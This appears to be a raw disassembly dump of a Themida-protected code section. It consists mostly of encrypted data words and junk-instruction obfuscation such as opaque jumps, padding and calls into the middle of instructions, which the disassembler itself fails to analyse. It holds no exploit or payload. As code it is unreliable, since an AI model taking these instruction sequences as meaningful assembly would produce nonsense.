dd 664B82DCh, 0C18BFA8Bh, 0AE9h, 76697C00h, 5559132Ch
dd 0F565972h, 0C87h, 7E900h, 164F0000h, 0E874F1E7h, 2830FE1h
dd 0B1000000h, 66D38B23h, 0DC38E181h, 809DE380h, 0BA6637F7h
dd 0F080EE0Eh, 12E801h, 1E900000h, 5D7D4D37h, 602DA7C1h
dd 0CC0308Ch, 35038AC6h, 8B5ECC8Ah, 0DE952F2h, 23000000h
dd 0BD0E609Fh, 667F4DF9h, 0C19CE950h, 0C381665Bh, 0EBB2396Dh
dd 12E8h, 27678300h, 0E72C2AB2h, 0B8A8BDB7h, 243FAE3h
dd 0F6E1DD3h, 283h, 5F5F5000h, 58A0Fh, 80530000h, 0FC5A4DC8h
dd 11E8h, 0C94CA000h, 79C388C3h, 82AD57EAh, 0B37F40DBh
dd 10E8EEFCh, 47000000h, 9E56DFFAh, 2F527473h, 926EA2B2h
dd 0FE20198h, 5B5EF1BFh, 0F67DB80h, 0BE8C8BFh, 0F8000000h
dd 0C929E138h, 0BE93EDC6h, 0E280A152h, 0E9F5597Fh, 12h
dd 0ED84467Fh, 5DA15F59h, 0E7D4E15Dh, 6B56EAFh, 0BBBE458Bh
dd 0E9439F84h, 5, 26100E9Dh, 2CD381B4h, 664533E8h, 0E917ACB8h
dd 12h, 93487BF5h, 795246Bh, 6BA4707Fh, 9447E507h, 5CBE039Ah
dd 0F5682B2Dh, 74E38166h, 60D6BFB6h, 0BF66285Ah, 8160F973h
dd 0C95138C3h, 8D0F616Bh, 8, 52C88152h, 5A09DDF2h, 0D751E5BAh
dd 0AE91Eh, 28220000h, 0AD0836C5h, 358B96BDh, 5E9h, 0F657DD00h
dd 0BA6626A0h, 2BBB3D3Bh, 8B3980ABh, 6BE181C1h, 5163176Ch
dd 0FBB6C281h, 0E95810C2h, 5, 7F5B2EC5h, 6880F64h, 81000000h
dd 9AA92BC2h, 5800F36h, 52000000h, 59DABF0Fh, 10E9E18Ah
dd 17000000h, 0FB93D83Ch, 49D10E6Ch, 3BD9CF4Dh, 51144334h
dd 5E958F5h, 82000000h, 0D274F3F0h, 0BE97AB0h, 1E000000h
dd 0CE13CB1Dh, 0F2871434h, 0BF0FED52h, 59EE81C7h, 0F77DD97h
dd 887h, 810F5700h, 0
; ---------------------------------------------------------------------------
pop eax
jmp loc_5B4341
; ---------------------------------------------------------------------------
dw 8BCDh
; ---------------------------------------------------------------------------
cli
pop ebx
stosd
jnz short loc_5B4389
loc_5B4341: ; CODE XREF: Themida_:005B4335j
mov ecx, esi
xor ecx, 0B082470h
stc
jnb loc_5B435B
ja loc_5B435B
mov ecx, 4759BBCAh
loc_5B435B: ; CODE XREF: Themida_:005B434Aj
; Themida_:005B4350j
jmp loc_5B4373
; ---------------------------------------------------------------------------
dd 0FA82B24Fh, 161755CCh, 2BED2EBFh, 6F5EB301h
db 87h, 0A7h, 0C3h
; ---------------------------------------------------------------------------
loc_5B4373: ; CODE XREF: Themida_:loc_5B435Bj
mov edi, 6601474Bh
jmp loc_5B4390
; ---------------------------------------------------------------------------
db 0F5h, 9Eh, 50h
dd 4DA1EFF1h, 349003B7h
db 0C6h
; ---------------------------------------------------------------------------
loc_5B4389: ; CODE XREF: Themida_:005B433Fj
bound edx, [edx-43F06F3Ch]
inc ebx
loc_5B4390: ; CODE XREF: Themida_:005B4378j
push edi
pusha
cmc
jnz $+6
popa
pop ecx
mov edi, 3D42EFEh
push ebx
jns loc_5B43AA
movsx edx, si
loc_5B43AA: ; CODE XREF: Themida_:005B43A1j
pop ebx
mov si, dx
mov al, cl
pusha
push ecx
and ax, 0E5BCh
pop ecx
mov esi, ebx
popa
jp loc_5B43C7
loc_5B43C1: ; CODE XREF: Themida_:005B4403j
add eax, 75BB7006h
loc_5B43C7: ; CODE XREF: Themida_:005B43BBj
sbb eax, 104A4208h
call loc_5B43DE
mov al, ds:9A6B5951h
nop
add eax, 0B1D6BBD4h
lodsb
loc_5B43DE: ; CODE XREF: Themida_:005B43CDp
push ecx
mov esi, eax
pop eax
pop edi
jmp loc_5B43FB
; ---------------------------------------------------------------------------
dd 8D669244h, 659A4ECEh, 0D19AD28Bh, 0FEACD2BDh
db 0ACh, 0AAh, 0D5h
; ---------------------------------------------------------------------------
loc_5B43FB: ; CODE XREF: Themida_:005B43E3j
movzx edi, di
jmp loc_5B4412
; ---------------------------------------------------------------------------
jecxz short loc_5B43C1
xlat
sub eax, 0C3FD99D0h
fmul qword ptr [edx]
mov ds:27551C16h, al
loc_5B4412: ; CODE XREF: Themida_:005B43FEj
mov dl, bh
mov ecx, 5BD43087h
mov cx, 0BF30h
adc esi, 4CA5C090h
jbe loc_5B443C
ja loc_5B443C
jmp loc_5B443C
; ---------------------------------------------------------------------------
dd 0EC9F3F2Bh, 9E38DF3Ch
; ---------------------------------------------------------------------------
loc_5B443C: ; CODE XREF: Themida_:005B4423j
; Themida_:005B4429j ...
jge $+6
sub di, 5D44h
or ebx, 111F9CFCh
cmc
jmp loc_5B445B
; ---------------------------------------------------------------------------
db 6Eh
dd 3A1929D1h
db 6Bh, 4Dh, 0E9h
; ---------------------------------------------------------------------------
loc_5B445B: ; CODE XREF: Themida_:005B444Ej
jmp loc_5B446A
; ---------------------------------------------------------------------------
dd 682DBFABh, 0EC594811h
db 36h, 0A1h
; ---------------------------------------------------------------------------
loc_5B446A: ; CODE XREF: Themida_:loc_5B445Bj
mov al, bh
add al, 0Eh
mov ch, 66h
call sub_5B4480 ; CODE XREF: sub_5B4480+63j
adc ebx, esp
; ---------------------------------------------------------------------------
dd 0AFD8A8DDh, 0B9DCE8A9h
; =============== S U B R O U T I N E =======================================
sub_5B4480 proc near ; CODE XREF: Themida_:005B4471p
sub ebx, 0E64C1DAh
pop ebx
jmp loc_5B449C
; ---------------------------------------------------------------------------
dd 2194847Fh, 631233Ah, 559498CFh, 0D56CD88Fh
; ---------------------------------------------------------------------------
loc_5B449C: ; CODE XREF: sub_5B4480+7j
sbb dx, 0D36Fh
add edi, 3907D9ECh
mov al, 0EAh
mov edi, edx
xor ax, 0DCC9h
or ah, 0B8h
mov edx, 5673960Ch
pusha
jmp loc_5B44C5
; ---------------------------------------------------------------------------
dw 6528h
dd 220B2451h
db 0FEh
; ---------------------------------------------------------------------------
loc_5B44C5: ; CODE XREF: sub_5B4480+39j
mov cl, 0D4h
popa
sbb dh, 0FFh ; CODE XREF: sub_5B4480+61j
mov dh, cl
push edi
mov cl, 0BAh
pop esi
cmc
sub ecx, 7483E9A8h
mov bx, 0FF27h
call near ptr loc_5B44F1+2
js short near ptr loc_5B44C8+2
jnb short near ptr loc_5B4471+3
push ss
daa
cmp ecx, [edx-9C3CA9Ah]
das
push ss
xchg edx, esp
loc_5B44F1: ; CODE XREF: sub_5B4480+5Cp
cmp eax, 6E825h
sub_5B4480 endp ; sp-analysis failed
; ---------------------------------------------------------------------------
dw 0
; ---------------------------------------------------------------------------
sub [edx+2B8076D5h], cl
jl $+6
pop esi
pop edx
jmp loc_5B4516
; ---------------------------------------------------------------------------
db 75h
dd 38396885h, 7135EDA8h
db 68h, 65h
; ---------------------------------------------------------------------------
loc_5B4516: ; CODE XREF: Themida_:005B4506j
mov edx, 73B7ED01h
jge loc_5B4538
jmp loc_5B4538
; ---------------------------------------------------------------------------
dw 5B77h
dd 7336FE76h, 5B2CFE2Ch, 3B01E315h, 4A602DCh
; ---------------------------------------------------------------------------
loc_5B4538: ; CODE XREF: Themida_:005B451Bj
; Themida_:005B4521j
mov ax, 0B67Fh
jnp loc_5B4548
jb $+6
loc_5B4548: ; CODE XREF: Themida_:005B453Cj
pusha
mov dx, 3779h
stc
popa
movsx edi, dx
jo loc_5B4563
ja loc_5B4563
mov eax, 215C2BE0h
loc_5B4563: ; CODE XREF: Themida_:005B4552j
; Themida_:005B4558j
mov dx, bx
call near ptr sub_5B457B
cld
setalc
mov esp, 0F3A513D8h
wait
sub esp, [edi-21h]
cmp eax, 62CFF00Eh
; =============== S U B R O U T I N E =======================================
sub_5B457B proc far ; CODE XREF: Themida_:005B4566p
; FUNCTION CHUNK AT 005B4653 SIZE 00000019 BYTES
; FUNCTION CHUNK AT 005B467B SIZE 0000001F BYTES
; FUNCTION CHUNK AT 005B46A6 SIZE 0000001E BYTES
; FUNCTION CHUNK AT 005B46D0 SIZE 0000000B BYTES
; FUNCTION CHUNK AT 005B46EE SIZE 00000035 BYTES
; FUNCTION CHUNK AT 005B4750 SIZE 0000000F BYTES
; FUNCTION CHUNK AT 005B4773 SIZE 00000006 BYTES
; FUNCTION CHUNK AT 005B4781 SIZE 00000007 BYTES
adc esi, 7AA2844Eh
pop esi
mov dl, ah
cld
mov si, 0D2AFh
push ebx
jmp loc_5B45A3
; ---------------------------------------------------------------------------
db 5
dd 1DFC1899h, 0DF284C51h, 7AAC6E74h, 6967E5E7h
; ---------------------------------------------------------------------------
push dword ptr [ebx]
scasb
loc_5B45A3: ; CODE XREF: sub_5B457B+Fj
pop edx
mov cx, dx
jmp loc_5B45B7
; ---------------------------------------------------------------------------
dd 0CCDD5F65h, 0EC2B2286h
db 28h, 0FFh, 0B8h
; ---------------------------------------------------------------------------
loc_5B45B7: ; CODE XREF: sub_5B457B+2Cj
mov edi, 4A6D47C9h
jmp loc_5B45D4
; ---------------------------------------------------------------------------
mov ebx, 0FEDCB700h
pop esp
inc ebp
add cl, dl
jmp short loc_5B462C
; ---------------------------------------------------------------------------
dd 0A07A079Ah, 6653DC3Ah
; ---------------------------------------------------------------------------
loc_5B45D4: ; CODE XREF: sub_5B457B+41j
push edx
stc
pop ecx
xor ecx, 7BBC855Ch
jmp loc_5B45F6
; ---------------------------------------------------------------------------
db 90h
; ---------------------------------------------------------------------------
adc [eax], cl
ja short loc_5B4653
or dl, dl
retn
; ---------------------------------------------------------------------------
retf
; ---------------------------------------------------------------------------
db 49h
dd 0AE67C4F7h, 0E8D98AD4h
db 0ECh, 0D7h
; ---------------------------------------------------------------------------
loc_5B45F6: ; CODE XREF: sub_5B457B+62j
mov bl, dl
cld
jmp loc_5B4611
; ---------------------------------------------------------------------------
dw 95DDh
db 0C6h, 0A1h, 6
; ---------------------------------------------------------------------------
loc_5B4603: ; CODE XREF: sub_5B457B+E2j
mov edi, 0B29091DEh
in eax, dx
mov dword ptr [edx], 0AC5D1605h
xchg eax, ebx
out dx, eax
loc_5B4611: ; CODE XREF: sub_5B457B+7Ej
pusha
cld
popa
mov ch, 0FBh
add ah, 14h
jmp loc_5B4632
; ---------------------------------------------------------------------------
dw 4E4Ch
dd 0BCAE1FC8h, 920DEDF0h, 910D92B5h
; ---------------------------------------------------------------------------
loc_5B462C: ; CODE XREF: sub_5B457B+4Fj
and eax, 2ED2F797h
; ---------------------------------------------------------------------------
db 6Ah
; ---------------------------------------------------------------------------
loc_5B4632: ; CODE XREF: sub_5B457B+9Ej
pusha
call near ptr locret_5B4647+2
xchg eax, esp
mov ecx, 0DFB5917Dh
mov ebx, 6FB2AA33h
imul esp, [eax], 73h
push esi
locret_5B4647: ; CODE XREF: sub_5B457B+B8p
retf 0E82Ah
sub_5B457B endp ; sp-analysis failed
; ---------------------------------------------------------------------------
dw 13h
dd 607D0000h
db 3Ch, 0F3h, 80h
; ---------------------------------------------------------------------------
; START OF FUNCTION CHUNK FOR sub_5B457B
loc_5B4653: ; CODE XREF: sub_5B457B+6Aj
mov ss, bx
dec ecx
maxps xmm0, oword ptr [edi-32h]
adc byte ptr [ebx], 2Dh
jz short loc_5B4603
jg short near ptr loc_5B4695+3
pop edi
pop ebx
movsx edx, di
popa
jmp loc_5B467B
; END OF FUNCTION CHUNK FOR sub_5B457B
; ---------------------------------------------------------------------------
dd 0A51D68D9h, 0F8A1401Dh, 0DB7C6F0Dh
; ---------------------------------------------------------------------------
mov al, [esi]
xchg eax, edx
; START OF FUNCTION CHUNK FOR sub_5B457B
loc_5B467B: ; CODE XREF: sub_5B457B+ECj
xor esi, 6406B605h
jnb loc_5B4688
cld
loc_5B4688: ; CODE XREF: sub_5B457B+106j
push edi
mov edx, 137F8AEAh
pop esi
sub eax, 7E7B0907h
loc_5B4695: ; CODE XREF: sub_5B457B+E4j
jmp loc_5B46A6
; END OF FUNCTION CHUNK FOR sub_5B457B
; ---------------------------------------------------------------------------
dw 0A814h
dd 0A16E23A9h, 91F6961Eh
; ---------------------------------------------------------------------------
clc
popf
; START OF FUNCTION CHUNK FOR sub_5B457B
loc_5B46A6: ; CODE XREF: sub_5B457B:loc_5B4695j
mov dx, 876Fh
mov dh, 41h
jl loc_5B46B5
mov di, ax
loc_5B46B5: ; CODE XREF: sub_5B457B+131j
and edi, 157A53B2h
or bl, 4Ah
cmc
jmp loc_5B46D0
; END OF FUNCTION CHUNK FOR sub_5B457B
; ---------------------------------------------------------------------------
pusha
push ss
retn 0A05Dh
; ---------------------------------------------------------------------------
db 0C7h, 0D7h, 0Eh
; ---------------------------------------------------------------------------
retf 0D7F2h
; ---------------------------------------------------------------------------
db 13h
; ---------------------------------------------------------------------------
; START OF FUNCTION CHUNK FOR sub_5B457B
loc_5B46D0: ; CODE XREF: sub_5B457B+144j
xor ax, 55Ch
push ebx
jmp loc_5B46EE
; END OF FUNCTION CHUNK FOR sub_5B457B
; ---------------------------------------------------------------------------
db 2Ah
dd 1793820h, 0DF5B4EF1h, 34611F01h, 0D30F8DE1h
db 0F8h, 7Fh
; ---------------------------------------------------------------------------
; START OF FUNCTION CHUNK FOR sub_5B457B
loc_5B46EE: ; CODE XREF: sub_5B457B+15Bj
pop esi
clc
push edi
pusha
mov edi, ebx
mov ah, 91h
popa
pop eax
sub ax, 0C310h
jnz near ptr loc_5B4715+8
pusha
mov dx, 0B0DCh
call near ptr loc_5B4715+6
jle short loc_5B4750
mov cl, 0A5h
cmp ebx, edx
loop loc_5B4781
loc_5B4715: ; CODE XREF: sub_5B457B+18Dp
; sub_5B457B+182j
mov dword ptr [ebx-16C4231Eh], 0E6806158h
sub ch, al
adc al, [eax]
; END OF FUNCTION CHUNK FOR sub_5B457B
; ---------------------------------------------------------------------------
db 0
dd 0EC8CDC00h, 0C776B29Bh, 0D42F64DDh, 0C60F3AC5h, 5A6084DBh
dd 3C7ABA60h, 0BB6637E7h, 0F618F71h, 0E860CABFh, 7, 0A9A9FEF3h
; ---------------------------------------------------------------------------
; START OF FUNCTION CHUNK FOR sub_5B457B
loc_5B4750: ; CODE XREF: sub_5B457B+192j
adc ch, [edx+5E61605Bh]
popa
cmc
cmc
push esi
jmp loc_5B4773
; END OF FUNCTION CHUNK FOR sub_5B457B
; ---------------------------------------------------------------------------
db 45h
dd 237F3031h, 3285D7E4h, 4F1D7A82h, 6B653A7Bh
db 0E6h, 0BAh, 10h
; ---------------------------------------------------------------------------
; START OF FUNCTION CHUNK FOR sub_5B457B
loc_5B4773: ; CODE XREF: sub_5B457B+1DFj
pop eax
jmp near ptr loc_5B4781+4
; END OF FUNCTION CHUNK FOR sub_5B457B
; ---------------------------------------------------------------------------
aad 0B1h
xchg eax, ecx
popa
idiv byte ptr [edx+29h]
cld
; START OF FUNCTION CHUNK FOR sub_5B457B
loc_5B4781: ; CODE XREF: sub_5B457B+198j
; sub_5B457B+1F9j
mov esp, 0E94CC5BEh
or al, 0
; END OF FUNCTION CHUNK FOR sub_5B457B
; ---------------------------------------------------------------------------
dd 0DF910000h, 0D4693A27h, 0B0DFC42Fh, 8B6636EFh, 0F840FCEh
dd 0E8000000h, 7, 95B19161h, 8B94E502h, 0B70F5BF1h, 0FEB70FD1h
dd 0F8FA8B66h, 0CE8h, 0BF770100h, 0D64E3299h, 44E4724Eh
dd 0F605840h, 681h, 850F00h, 8A000000h, 816661C7h, 0F3477C2h
dd 0AE9CEBFh, 0DA000000h, 57DB0771h, 6066CF34h, 38D0F4Fh
dd 80000000h, 0EE959DCh, 0BF000000h, 5FBA6FDBh, 6F1B2D58h
dd 6E4A787Ah, 9A8CBAAAh, 0B8665687h, 10E99E17h, 0C0000000h
dd 698DE341h, 0FFC2D865h, 0C84DB852h, 0B570A254h, 39B96666h
dd 77C08186h, 80737153h, 0E7800DC4h, 6E86014h, 0B1000000h
dd 0E2D339A5h, 12E96Ch, 7070000h, 647B8181h, 0A44FE0FDh
dd 0E397F1E8h, 0CF53730Bh, 0F38B665Eh, 0C1BF0F61h, 880FF88Ah
dd 1Bh, 15800Fh, 0FE80000h, 7A000000h, 0CF4EBD95h, 8CFD1850h
dd 8F8F63Fh, 0E95A282Fh, 0Ch, 0EC267866h, 0A91BB755h, 5AAA0B8Ch
dd 0DF8BEAB7h, 0E8FA8B66h, 9, 0DEE5EC96h, 3D8926BFh, 5BD1B188h
dd 0B2B86660h, 0F88B60A5h, 61616160h, 60D7B70Fh, 66F98B66h
dd 61B5BEB9h, 38E0Fh, 0F7800000h, 609DB5E8h, 8E0FF3B4h
dd 6, 2A6AE781h, 0F9610C3Ah, 26D28166h, 7120BEF8h, 11E94779h
dd 33000000h, 2126E735h, 8C2FCC94h, 38A95FD1h, 540A138h
dd 0CE9h, 0EBE56300h, 597542B4h, 0F04BBB97h, 0FA8B66C2h
dd 9E9F9h, 6E3F0000h, 44CF6205h, 0F9A1C4Dh, 0C8Ch, 68B0F00h
dd 81000000h, 5AE15FEAh, 0B966F542h, 0E860856Ah, 5, 1319C043h
dd 5FC88B14h, 546DD0B9h, 8166613Dh, 0E93350C2h, 5, 0F4819096h
dd 0FEDB40Bh, 0F181F2B7h, 660BC131h, 0EE9h, 15B74F00h
dd 35FC7027h, 88D508Ah, 0F3BB9AAh, 880h, 28D0F00h, 60000000h
dd 12E961h, 0D17C0000h, 7DA828AFh, 0F3C1F14Ah, 44EEBEF7h
dd 181ECB32h, 92C88166h, 0F4BE66D0h, 0E8C88B31h, 0Fh, 0DAE7D9B3h
dd 0F581F3EBh, 0BC7A3BB7h, 66D62A9Ch, 0E95EC88Bh, 0Ah
dd 799C010Ah, 0C0999D9Dh, 9E9161Fh, 4F000000h, 0EF801AA8h
dd 36E26D06h, 0BE8h, 33D1B800h, 31EB50D8h, 0B3BC5FFEh
dd 0AE959h, 22C70000h, 0B38AD662h, 0C0A8E99h, 44D280F5h
dd 6D921BFh, 6DA8126h, 0E929FC07h, 0Fh, 47214B6Ah, 0F8F5A890h
dd 7804201h, 0E93A3F20h, 9, 0AF9D83B3h, 0E9DBF164h, 0DBBF0FE5h
dd 53F88B66h, 14E8h, 64001200h, 505DB220h, 0ED7281E6h
dd 1A233587h, 0EF6586E9h, 12E855h, 0C6D30000h, 0F29BF47h
dd 2CE2133Fh, 0BE4AA8DFh, 0B88F354Bh, 0B65A5859h, 0C1CAB841h
dd 0F607A42h, 486h, 0FEBF6600h, 0E78161FCh, 3D50082Eh
dd 0B913BFF8h, 0BB6636C6h, 14E9260Ah, 0F6000000h, 0AE0D31B8h
dd 0EF755002h, 0F9F6CE65h, 0C848EA90h, 0E90E37C9h, 0Dh
dd 0A40F882Fh, 0C86599A8h, 8EFE27Ch, 13E9BCh, 9C200000h
dd 8A86646Eh, 15CAC3C3h, 7324397Ch, 0D6AE591Ah, 0E7F0806Eh
dd 7E8h, 0D1A18B00h, 0E6F0EF1Ah, 68B0Fh, 8B0F0000h, 0
dd 5850F58h, 0B9000000h, 3C968BA6h, 0B866C18Bh, 60561716h
dd 0FF58C881h, 0CE8539Dh, 7C000000h, 6A85BF93h, 66DB989Ch
dd 59C6A624h, 13E95E61h, 1F000000h, 2F24B5D4h, 0F8BF9014h
dd 0F955B60Bh, 2B351FF5h, 80F815E9h, 0C68B8DD0h, 81C7B5F5h
dd 4F596EF6h, 0D3B70F7Fh, 6635CE80h, 0B60FCAB8h, 0A0B3600Ch
dd 14E961F9h, 86000000h, 2C3EB2F3h, 0E11EF29Bh, 0E45EA57h
dd 5D065FC8h, 6015D25Ch, 81F28B66h, 66A321F7h, 0C380612Ah
dd 80C28BFCh, 0BF6625F1h, 81661C42h, 0E9B587F0h, 14h, 5C6BCB35h
dd 0A15C3A20h, 0EB79223Ch, 0E96E9B88h, 0B860D992h, 0E9C68B66h
dd 11h, 5BFB004Fh, 0D2DDBDCAh, 9C4EF80Ch, 61EADB1Ch, 0FCE8B19h
dd 0BA66C9B7h, 11E90111h, 47000000h, 0B65BB715h, 7E651F65h
dd 51887155h, 99D13EF1h, 0D638BF66h, 0AE9h, 0ED952A00h
dd 8665F7A0h, 0B909BAE9h, 22C1C4EDh, 38F0F60h, 66000000h
dd 6660D78Bh, 66D0C3B8h, 61811BBBh, 0CABF0F61h, 0B2F3BF0Fh
dd 0DF81F5E5h, 19FAFBFh, 0F885C681h, 81665D6Bh, 0FEC41F6h
dd 0CB8BF3B7h, 8880Fh, 81510000h, 30482BD3h, 0E7815A7Fh
dd 4E27AE1Ah, 7E9h, 4A402000h, 56DBA8C6h, 36BB6660h, 0FE948h
dd 39370000h, 14B4655Dh, 0B1220407h, 9DB7C7C0h, 0C28B617Bh
dd 13E9h, 46B00000h, 0D441AB27h, 0C09C3287h, 0A35F4BB8h
dd 55242BBAh, 0A9DF8166h, 0E181669Bh, 0C18B4EF6h, 0FE5ED281h
dd 0D1807007h, 0BBFA8B46h, 79A491CBh, 12E860F9h, 80000000h
dd 0C55A1688h, 688E87E0h, 4599C878h, 0FDF12EFBh, 0AAEA81ABh
dd 5A24DF95h, 561DEBBFh, 0C2B66150h, 66D08B66h, 6660CF8Bh
dd 62B3CB81h, 14E8h, 0E006C800h, 0FB8E78FEh, 93215FD9h
dd 0AEC55032h, 62D77B8Ah, 8E879h, 35430000h, 4AF9E0F7h
dd 5A5F6555h, 13E961h, 0E9F60000h, 0FD2A8D0Ah, 0CA4B8516h
dd 84546A8Dh, 0D687F8CBh, 11E925h, 68FD0000h, 0A21A5201h
dd 4E9BA886h, 7DE5E5DDh, 8B3F45E5h, 14E081F7h, 0E951A268h
dd 5, 6961DAE5h, 0BE60FC61h, 0F80381Dh, 0EE8h, 79473000h
dd 0F7E8FA66h, 0E2C83B9Dh, 0E899EA43h, 10h, 0D9893A47h
dd 457AB6Dh, 82F49272h, 0E430309Ch, 0B6615F5Eh, 6FBA66FCh
dd 0D08166C3h, 0BF0FA214h, 0FE8C9h, 6A240000h, 67D72605h
dd 0B2C23DCBh, 5DD0D137h, 14E936h, 0BA220000h, 9BC6CF94h
dd 4AFC2FBCh, 0FFB8C4FAh, 7CD8FF88h, 665F3F12h, 0E52EEA81h
dd 11E8h, 7DB99400h, 0BBDFB591h, 6FB2AA33h, 5673206Bh
dd 0BF0F2ACAh, 0C8805AD8h, 6E92Ah, 7390000h, 0DFB3B0D3h
dd 0F8F805B5h, 0F9D7B70Fh, 0D94CF781h, 0AE90196h, 56000000h
dd 36D6A6F4h, 0A815DE1Bh, 0E9E38A40h, 0Ah, 9E64818h, 0F717BCA3h
dd 0FE8B6052h, 3880Fh, 8B660000h, 31F680C7h, 0CACF8166h
dd 0D0B70FABh, 0AE8h, 0CA02D800h, 8B1336DEh, 5134AC90h
dd 81665B5Bh, 80B773F7h, 66F518EEh, 247FC781h, 0FD8B70Fh
dd 8166CBBFh, 0E98D60F0h, 0Ah, 0BE464968h, 73687FAFh, 810FC69Eh
dd 3, 80F7BF0Fh, 94B63AE5h, 8C0F4EB1h, 5, 947691B8h, 0CBBF0F3Ch
dd 60EE8166h, 0FA8B660Dh, 28A0Fh, 7B10000h, 5E8h, 0E36A9200h
dd 0F48A99ACh, 0E8526059h, 10h, 9D1AEFE4h, 7F7F1C60h, 0FC9F0B8h
dd 17BF15DFh, 6652595Eh, 11F1E081h, 73B0615Eh, 0BBCBB70Fh
dd 4CBF5E50h, 158A0Fh, 10E90000h, 7E000000h, 0A7308903h
dd 34DFE812h, 934C9F7h, 60B38C31h, 16830Fh, 11E90000h
dd 3B000000h, 0EA2305E9h, 0F2861CF9h, 35E0235Bh, 83FE8D16h
dd 0FC59B966h, 66F28B61h, 0E86387BAh, 8, 54B0DEFCh, 0F9E3CDAAh
dd 816659FCh, 0BF3C91D9h, 2B22B3E9h, 0B52933BBh, 0DFBF0F79h
dd 0DF8B66F8h, 80D38BF8h, 0F98B79E5h, 5820Fh, 32B80000h
dd 0E8599D85h, 0Eh, 0D67F7D67h, 512657CDh, 48189567h, 0E96009E6h
dd 0Dh, 33935010h, 1A1EFD62h, 0CA0B6CA6h, 0F59614Dh, 8F0FD0BFh
dd 3, 0FF38B66h, 883h, 0F7815100h, 73CA7223h, 0B2C28059h
dd 63C68166h, 0CAB70F16h, 0DEE88166h, 0FF48AF4h, 381h
dd 0DF8B6600h, 8A35F680h, 6BE381C7h, 0F115AA9h, 381h, 0D08B6600h
dd 0D3DE8166h, 8E8B2h, 531F0000h, 0A8262CFBh, 9E95ABBh
dd 2E000000h, 28379394h, 0BCA79A00h, 0E881FC5Fh, 5E92EEE1h
dd 296BF66h, 0DE935B7h, 65000000h, 392856D1h, 0B4908378h
dd 0FC5EAE91h, 71BF6652h, 2DB75F23h, 0FE9h, 0AE9BC800h
dd 0A68E000h, 716068C6h, 0B0586CADh, 0FE9h, 0F5CE6200h
dd 6209174Eh, 56A39BEBh, 9EDFB23Ah, 4860Fh, 0BF660000h
dd 8166249Eh, 53C734C6h, 11E85EF5h, 74000000h, 0CA232565h
dd 0C5545175h, 53D47DBAh, 0BD1A0F5Eh, 0C318E081h, 8B5A4267h
dd 12E8DEh, 0AB300000h, 0F8DE3428h, 6D46C620h, 0D33C4022h
dd 0D8F28597h, 2820Fh, 5B560000h, 0FD38B59h, 2088h, 0EE800h
dd 0A74F0000h, 50D2791Bh, 0C8BFA025h, 0E328D0D6h, 7E9h
dd 34CC2B00h, 93D90A2h, 0FE85Bh, 55900000h, 92C84BF3h
dd 64EF0EA2h, 0C8790131h, 0C6B70FC0h, 0C68B665Eh, 6700C381h
dd 0B2B11883h, 10E9h, 739BDB00h, 5F44D163h, 0D3BF7162h
dd 0D0ACAC28h, 0F38BF9AEh, 66C2BF0Fh, 0D081F28Bh, 1986587Ah
dd 0B966C68Bh, 0BB666AF7h, 8B666D93h, 0AE953D7h, 97000000h
dd 0FD928577h, 28A0F4Eh, 43B85894h, 6065831Eh, 0B75FBB66h
dd 12E961h, 0F43D0000h, 9B258D47h, 0E7C19DD5h, 3994BC32h
dd 8F4104Ch, 0D7E680F9h, 6C281FCh, 8B0737FBh, 0DABF0FD0h
dd 8E860h, 0EB870000h, 548CC48Eh, 0BE904D6h, 0D5000000h
dd 9E3B5BEAh, 0D4BD8B9Eh, 0BB5E2113h, 0BEF7DD5h, 5E961h
dd 0D0E0000h, 0F731135h, 687h, 1ACF8100h, 0F46290Ah, 0B8Dh
dd 5830F00h, 66000000h, 7289F181h, 0CE8F8h, 8DB70000h
dd 0D885A515h, 11222462h, 6060F042h, 9E861h, 0D6E50000h
dd 292D26ABh, 596894ADh, 6CBF5E61h, 0E91ACE86h, 9, 0BBD0DFA4h
dd 1B9F04E2h, 0F08166F1h, 8B564099h, 0EE95AD3h, 0BC000000h
dd 6CD588D5h, 825A1560h, 0B67AF512h, 12E926h, 2A890000h
dd 0D736DD1h, 3F244548h, 0B19E241Eh, 7735C364h, 0AE9h
dd 0A3D62D00h, 54EDC163h, 51371131h, 4BC98160h, 0F90D9C5Ah
dd 8F0F5E61h, 1, 6E9F9h, 0E3100000h, 806DCC12h, 0BC58C181h
dd 0F56285Ch, 0E85FCEB7h, 7, 6022CD03h, 0E8B578ABh, 0Bh
dd 0A978AFE1h, 1D93FA93h, 0FBFD2AEh, 5E58CEB7h, 10E9h
dd 27A6F700h, 26FB7DCBh, 0DB50E87Dh, 0A8461B3Eh, 11BE665Bh
dd 68E0FAAh, 0F000000h, 89h, 9E800h, 13700000h, 0BBA32E1Dh
dd 0E9766037h, 0Ah, 0EC7D42ECh, 0F3CBC1Ah, 0E95BDAA8h
dd 9, 2F16C7A9h, 0DBCAC1B6h, 12E95388h, 0E2000000h, 0B7B45EB6h
dd 0DC31B9E0h, 88306410h, 3288BC26h, 80F55BC7h, 830F85C3h
dd 1Ch, 14E8h, 0A63A2200h, 52496C0Ch, 721CA512h, 0A00E6D7Ah
dd 0A4EAD44Eh, 5A0EB665h, 0B960D38Ah, 27A60B34h, 820FF561h
dd 0Ch, 6820Fh, 840F0000h, 0
; ---------------------------------------------------------------------------
add al, 0C3h
jmp loc_5B52F6
; ---------------------------------------------------------------------------
dd 8991E91Fh, 77A38A66h, 856DBB21h
; ---------------------------------------------------------------------------
shl cl, 1
loc_5B52F6: ; CODE XREF: Themida_:005B52E3j
jmp loc_5B5305
; ---------------------------------------------------------------------------
db 1Fh
dd 0AB09475h, 2B84343Eh
db 3Eh
; ---------------------------------------------------------------------------
loc_5B5305: ; CODE XREF: Themida_:loc_5B52F6j
adc bh, 0FAh
jmp loc_5B5321
; ---------------------------------------------------------------------------
db 8Dh, 4Dh, 4Bh
dd 36CF0412h, 0C7D40112h, 94E8F9Bh, 0E32D105Bh
; ---------------------------------------------------------------------------
cdq
loc_5B5321: ; CODE XREF: Themida_:005B5308j
cld
sbb dh, 6Bh
cld
mov ax, cx
mov ebx, ecx
jmp loc_5B533A
; ---------------------------------------------------------------------------
dd 68672E19h, 0AA4FC60Bh
db 0F6h, 0BDh
; ---------------------------------------------------------------------------
loc_5B533A: ; CODE XREF: Themida_:005B532Bj
mov di, 60BCh
call near ptr loc_5B534E+3
lahf
db 36h
and bh, bl
cmp eax, 55036A32h
db 64h
daa
loc_5B534E: ; CODE XREF: Themida_:005B533Ep
imul edi, [edi+5F24B01Bh], 0FFE38160h
cmp edx, [edx]
xor [edi], ecx
add dword ptr ds:0BA000000h, 77h
; ---------------------------------------------------------------------------
db 0DDh
dd 0F6131F6h, 0C85h, 6830F00h, 0F000000h, 8Ch, 0C7C68000h
